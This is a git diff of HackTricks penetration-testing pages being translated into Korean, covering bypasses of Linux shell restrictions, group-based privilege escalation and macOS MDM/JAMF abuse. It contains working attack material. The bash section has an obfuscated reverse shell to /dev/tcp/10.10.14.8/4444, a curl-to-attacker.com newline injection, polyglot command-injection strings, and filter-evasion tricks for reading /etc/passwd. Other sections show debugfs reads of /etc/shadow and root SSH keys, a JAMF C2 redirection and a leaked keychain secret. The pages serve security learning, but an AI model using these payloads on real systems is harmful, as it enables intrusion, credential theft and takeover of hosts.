egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
```
## Find
## 찾기
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
@ -273,25 +250,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
## Nmap search help
## Nmap 검색 도움말
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
```
## Bash
## 배시
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
```bash
#Delete curent rules and chains
iptables --flush
@ -322,13 +293,4 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View File

@ -1,27 +1,16 @@
# Bypass Linux Restrictions
# 리눅스 제한 우회
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Common Limitations Bypasses
### Reverse Shell
## 일반적인 제한 우회
### 리버스 셸
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Short Rev shell
### 짧은 Rev 셸
```bash
#Trick from Dikline
#Get a rev shell with
@ -29,9 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Bypass Paths and forbidden words
### 경로 우회 및 금지된 단어
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@ -86,9 +73,7 @@ mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Bypass forbidden spaces
### 금지된 공백 우회
```bash
# {form}
{cat,lol.txt} # cat lol.txt
@ -121,22 +106,16 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Bypass backslash and slash
### 백슬래시 및 슬래시 우회
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Bypass pipes
### 파이프 우회
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Bypass with hex encoding
### 16진수 인코딩을 통한 우회
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -146,36 +125,28 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Bypass IPs
### IP 우회
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Time based data exfiltration
### 시간 기반 데이터 유출
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Getting chars from Env Variables
### 환경 변수에서 문자 가져오기
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNS 데이터 유출
### DNS data exfiltration
예를 들어 **burpcollab** 또는 [**pingb**](http://pingb.in)를 사용할 수 있습니다.
You could use **burpcollab** or [**pingb**](http://pingb.in) for example.
### Builtins
In case you cannot execute external functions and only have access to a **limited set of builtins to obtain RCE**, there are some handy tricks to do it. Usually you **won't be able to use all** of the **builtins**, so you should **know all your options** to try to bypass the jail. Idea from [**devploit**](https://twitter.com/devploit).\
First of all check all the [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Then here you have some **recommendations**:
### 내장 명령어
외부 함수를 실행할 수 없고 **RCE를 얻기 위해 제한된 내장 명령어 집합에만 접근할 수 있는 경우**, 이를 수행하기 위한 몇 가지 유용한 요령이 있습니다. 일반적으로 **모든** **내장 명령어**를 사용할 수 없으므로, 감옥을 우회하기 위해 **모든 옵션을 알아야** 합니다. 아이디어는 [**devploit**](https://twitter.com/devploit)에서 가져왔습니다.\
먼저 모든 [**셸 내장 명령어**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**를 확인하세요.** 그런 다음 여기에 몇 가지 **추천 사항**이 있습니다:
```bash
# Get list of builtins
declare builtins
@ -227,30 +198,22 @@ chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Polyglot command injection
### 다중 언어 명령 주입
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypass potential regexes
### 잠재적인 정규 표현식 우회
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE with 5 chars
### 5자 RCE
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
@ -297,9 +260,7 @@ ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### RCE with 4 chars
### 4글자로 RCE
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
@ -334,34 +295,25 @@ ln /f*
'sh x'
'sh g'
```
## 읽기 전용/Noexec/Distroless 우회
## Read-Only/Noexec/Distroless Bypass
If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:**
**읽기 전용 및 noexec 보호**가 있는 파일 시스템이나 심지어 distroless 컨테이너 안에 있다면, 여전히 **임의의 바이너리, 심지어 셸을 실행할 수 있는 방법이 있습니다!:**
{{#ref}}
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Chroot & other Jails Bypass
## Chroot 및 기타 감옥 우회
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## References & More
## 참고자료 및 추가 정보
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,25 +1,23 @@
{{#include ../../banners/hacktricks-training.md}}
Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
yum에 대한 추가 예제는 [gtfobins](https://gtfobins.github.io/gtfobins/yum/)에서 찾을 수 있습니다.
# Executing arbitrary commands via RPM Packages
# RPM 패키지를 통한 임의 명령 실행
## Checking the Environment
## 환경 확인
In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root.
이 벡터를 활용하기 위해 사용자는 더 높은 권한을 가진 사용자, 즉 root로 yum 명령을 실행할 수 있어야 합니다.
### A working example of this vector
### 이 벡터의 작동 예
A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com).
이 익스플로잇의 작동 예는 [tryhackme](https://tryhackme.com)에서 [daily bugle](https://tryhackme.com/room/dailybugle) 방에서 찾을 수 있습니다.
## Packing an RPM
## RPM 패키징
In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm).
The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
다음 섹션에서는 [fpm](https://github.com/jordansissel/fpm)을 사용하여 리버스 셸을 RPM에 패키징하는 방법을 다룰 것입니다.
아래 예제는 공격자가 정의할 수 있는 임의의 스크립트를 포함하는 설치 전 트리거가 있는 패키지를 생성합니다. 설치되면 이 패키지는 임의의 명령을 실행합니다. 시연을 위해 간단한 리버스 넷캣 셸 예제를 사용했지만 필요에 따라 변경할 수 있습니다.
```text
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,18 +1,11 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
# Sudo/Admin Groups
## **PE - Method 1**
**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines:
**때때로**, **기본적으로 \(또는 일부 소프트웨어가 필요하기 때문에\)** **/etc/sudoers** 파일 안에서 다음과 같은 줄을 찾을 수 있습니다:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -20,48 +13,35 @@ Get Access Today:
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
이것은 **sudo 또는 admin 그룹에 속한 모든 사용자가 sudo로 무엇이든 실행할 수 있음을 의미합니다**.
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
이 경우, **root가 되려면 다음을 실행하면 됩니다**:
```text
sudo su
```
## PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
모든 suid 바이너리를 찾아보고 **Pkexec** 바이너리가 있는지 확인하십시오:
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec.
Check the contents of:
이진 파일 pkexec가 SUID 이진 파일이고 sudo 또는 admin에 속한다면, pkexec를 사용하여 sudo로 이진 파일을 실행할 수 있습니다. 다음 내용을 확인하세요:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
여기에서 어떤 그룹이 **pkexec**를 실행할 수 있는지 확인할 수 있으며, 일부 리눅스에서는 기본적으로 **sudo 또는 admin** 그룹이 나타날 수 있습니다.
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**.
To **become root you can execute**:
**루트가 되려면 다음을 실행할 수 있습니다**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
**pkexec**를 실행하려고 시도했는데 **오류**가 발생하면:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
**권한이 없어서가 아니라 GUI 없이 연결되어 있지 않기 때문입니다**. 이 문제에 대한 해결 방법은 여기에서 확인할 수 있습니다: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2개의 서로 다른 ssh 세션**이 필요합니다:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -72,39 +52,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
# Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
**때때로**, **기본적으로** **/etc/sudoers** 파일 안에서 이 줄을 찾을 수 있습니다:
```text
%wheel ALL=(ALL:ALL) ALL
```
이것은 **wheel 그룹에 속한 모든 사용자가 sudo로 모든 것을 실행할 수 있음을 의미합니다**.
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
이 경우, **root가 되려면 다음을 실행하면 됩니다**:
```text
sudo su
```
# Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
**shadow** 그룹의 사용자들은 **/etc/shadow** 파일을 **읽을** 수 있습니다:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
그래서 파일을 읽고 **해시를 크랙해보세요**.
So, read the file and try to **crack some hashes**.
# 디스크 그룹
# Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Files:`/dev/sd[a-z][1-9]`
이 권한은 기계 내부의 모든 데이터에 접근할 수 있으므로 거의 **루트 접근과 동등합니다**.
파일: `/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
@ -112,70 +84,54 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
debugfs를 사용하면 **파일을 쓸 수** 있다는 점에 유의하세요. 예를 들어 `/tmp/asd1.txt``/tmp/asd2.txt`로 복사하려면 다음과 같이 할 수 있습니다:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.
그러나 **root가 소유한 파일** \(예: `/etc/shadow` 또는 `/etc/passwd`\)을 **작성하려고** 하면 "**Permission denied**" 오류가 발생합니다.
# Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
`w` 명령어를 사용하면 **시스템에 로그인한 사람**을 찾을 수 있으며, 다음과 같은 출력을 보여줍니다:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1**는 사용자 **yossi가 물리적으로** 머신의 터미널에 로그인했음을 의미합니다.
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 그렇게 하려면 **현재 화면의 이미지를** 원시 데이터로 가져오고 화면이 사용하는 해상도를 알아야 합니다. 화면 데이터는 `/dev/fb0`에 저장할 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다.
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
**원시 이미지**를 **열기** 위해 **GIMP**를 사용하고 **`screen.raw`** 파일을 선택한 후 파일 형식으로 **Raw image data**를 선택할 수 있습니다:
![](../../images/image%20%28208%29.png)
Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 \(화면을 더 잘 보여주는 유형을 선택\):
![](../../images/image%20%28295%29.png)
# Root Group
# 루트 그룹
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
기본적으로 **루트 그룹의 구성원**은 **서비스** 구성 파일이나 일부 **라이브러리** 파일 또는 **특히 흥미로운 것들**을 **수정**할 수 있는 접근 권한이 있을 수 있습니다. 이는 권한 상승에 사용될 수 있습니다...
**루트 구성원이 수정할 수 있는 파일 확인**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Docker 그룹
# Docker Group
You can mount the root filesystem of the host machine to an instances volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
호스트 머신의 루트 파일 시스템을 인스턴스의 볼륨에 마운트할 수 있으므로, 인스턴스가 시작될 때 즉시 해당 볼륨에 `chroot`를 로드합니다. 이는 사실상 머신에서 루트를 제공하는 것입니다.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
# lxc/lxd Group
# lxc/lxd 그룹
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
[lxc - 권한 상승](lxd-privilege-escalation.md)
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -2,109 +2,97 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Abusing MDMs
## MDM 악용
- JAMF Pro: `jamf checkJSSConnection`
- Kandji
If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines.
관리 플랫폼에 접근하기 위해 **관리자 자격 증명을 타협**하는 데 성공하면, 기계에 악성 코드를 배포하여 **모든 컴퓨터를 타협할 수 있습니다**.
For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work:
MacOS 환경에서 레드 팀 활동을 하려면 MDM이 어떻게 작동하는지에 대한 이해가 필요합니다:
{{#ref}}
macos-mdm/
{{#endref}}
### Using MDM as a C2
### C2로서 MDM 사용
A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key...
MDM은 프로필을 설치, 쿼리 또는 제거하고, 애플리케이션을 설치하고, 로컬 관리자 계정을 생성하고, 펌웨어 비밀번호를 설정하고, FileVault 키를 변경할 수 있는 권한을 가집니다...
In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm).
자신의 MDM을 운영하려면 **공급업체에 의해 서명된 CSR**이 필요하며, 이를 [**https://mdmcert.download/**](https://mdmcert.download/)에서 얻으려고 시도할 수 있습니다. Apple 장치용 MDM을 운영하려면 [**MicroMDM**](https://github.com/micromdm/micromdm)을 사용할 수 있습니다.
However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything.
그러나 등록된 장치에 애플리케이션을 설치하려면 여전히 개발자 계정으로 서명되어야 합니다... 하지만 MDM 등록 시 **장치가 MDM의 SSL 인증서를 신뢰할 수 있는 CA로 추가**하므로 이제 무엇이든 서명할 수 있습니다.
To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed).
장치를 MDM에 등록하려면 **`mobileconfig`** 파일을 루트로 설치해야 하며, 이는 **pkg** 파일을 통해 전달될 수 있습니다(이를 zip으로 압축하고 Safari에서 다운로드하면 압축이 해제됩니다).
**Mythic agent Orthrus** uses this technique.
**Mythic agent Orthrus**는 이 기술을 사용합니다.
### Abusing JAMF PRO
### JAMF PRO 악용
JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...).
JAMF**사용자 정의 스크립트**(시스템 관리자가 개발한 스크립트), **네이티브 페이로드**(로컬 계정 생성, EFI 비밀번호 설정, 파일/프로세스 모니터링...) 및 **MDM**(장치 구성, 장치 인증서...)를 실행할 수 있습니다.
#### JAMF self-enrolment
#### JAMF 자체 등록
Go to a page such as `https://<company-name>.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**.
`https://<company-name>.jamfcloud.com/enroll/`와 같은 페이지로 가서 **자체 등록이 활성화되어 있는지** 확인하십시오. 활성화되어 있다면 **접근을 위한 자격 증명을 요청할 수 있습니다**.
You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack.
스크립트 [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)를 사용하여 비밀번호 스프레이 공격을 수행할 수 있습니다.
Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form:
또한, 적절한 자격 증명을 찾은 후에는 다음 양식을 사용하여 다른 사용자 이름을 무차별 대입할 수 있습니다:
![](<../../images/image (107).png>)
#### JAMF device Authentication
#### JAMF 장치 인증
<figure><img src="../../images/image (167).png" alt=""><figcaption></figcaption></figure>
The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\
Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
**`jamf`** 바이너리는 키체인을 열기 위한 비밀을 포함하고 있으며, 발견 당시 모든 사람과 **공유**되었습니다: **`jk23ucnq91jfu9aj`**.\
또한, jamf는 **`/Library/LaunchAgents/com.jamf.management.agent.plist`**에 **LaunchDaemon**으로 **지속**됩니다.
#### JAMF Device Takeover
The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
This file basically contains the URL:
#### JAMF 장치 인수
**JSS** (Jamf Software Server) **URL**은 **`jamf`**가 사용할 **`/Library/Preferences/com.jamfsoftware.jamf.plist`**에 위치합니다.\
이 파일은 기본적으로 URL을 포함하고 있습니다:
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
```
So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2.
따라서 공격자는 설치할 때 이 파일을 **덮어쓰는** 악성 패키지(`pkg`)를 배포하여 **Typhon 에이전트의 Mythic C2 리스너에 대한 URL을 설정**하여 JAMF를 C2로 악용할 수 있게 됩니다.
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
```
#### JAMF 사칭
#### JAMF Impersonation
장치와 JMF 간의 **통신을 사칭**하려면 다음이 필요합니다:
In order to **impersonate the communication** between a device and JMF you need:
- 장치의 **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- 장치 인증서를 포함하는 **JAMF 키체인**: `/Library/Application\ Support/Jamf/JAMF.keychain`
- The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate
이 정보를 바탕으로, **도난당한** 하드웨어 **UUID**와 **SIP 비활성화**된 **VM**을 생성하고, **JAMF 키체인**을 드롭한 후, Jamf **에이전트를 훅**하여 정보를 훔치세요.
With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information.
#### Secrets stealing
#### 비밀 정보 훔치기
<figure><img src="../../images/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**.
관리자가 Jamf를 통해 실행하고자 할 **커스텀 스크립트**를 위해 `/Library/Application Support/Jamf/tmp/` 위치를 모니터링할 수도 있습니다. 이 스크립트는 **여기에 배치되고 실행된 후 제거됩니다.** 이 스크립트는 **자격 증명**을 포함할 수 있습니다.
However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root).
그러나 **자격 증명**은 이러한 스크립트에 **매개변수**로 전달될 수 있으므로, `ps aux | grep -i jamf`를 모니터링해야 합니다 (루트 권한 없이도 가능합니다).
The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments.
스크립트 [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)는 새 파일이 추가되거나 새로운 프로세스 인수가 생기는 것을 감지할 수 있습니다.
### macOS Remote Access
### macOS 원격 접근
And also about **MacOS** "special" **network** **protocols**:
또한 **MacOS** "특별한" **네트워크** **프로토콜**에 대해:
{{#ref}}
../macos-security-and-privilege-escalation/macos-protocols.md
@ -112,7 +100,7 @@ And also about **MacOS** "special" **network** **protocols**:
## Active Directory
In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages:
일부 경우 **MacOS 컴퓨터가 AD에 연결되어 있는** 것을 발견할 수 있습니다. 이 시나리오에서는 익숙한 대로 **액티브 디렉토리**를 **열거**하려고 시도해야 합니다. 다음 페이지에서 **도움**을 찾으세요:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -126,41 +114,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD*
../../network-services-pentesting/pentesting-kerberos-88/
{{#endref}}
Some **local MacOS tool** that may also help you is `dscl`:
도움이 될 수 있는 **로컬 MacOS 도구**는 `dscl`입니다:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
또한 MacOS에서 AD를 자동으로 열거하고 kerberos와 상호작용하기 위해 준비된 몇 가지 도구가 있습니다:
Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos:
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target.
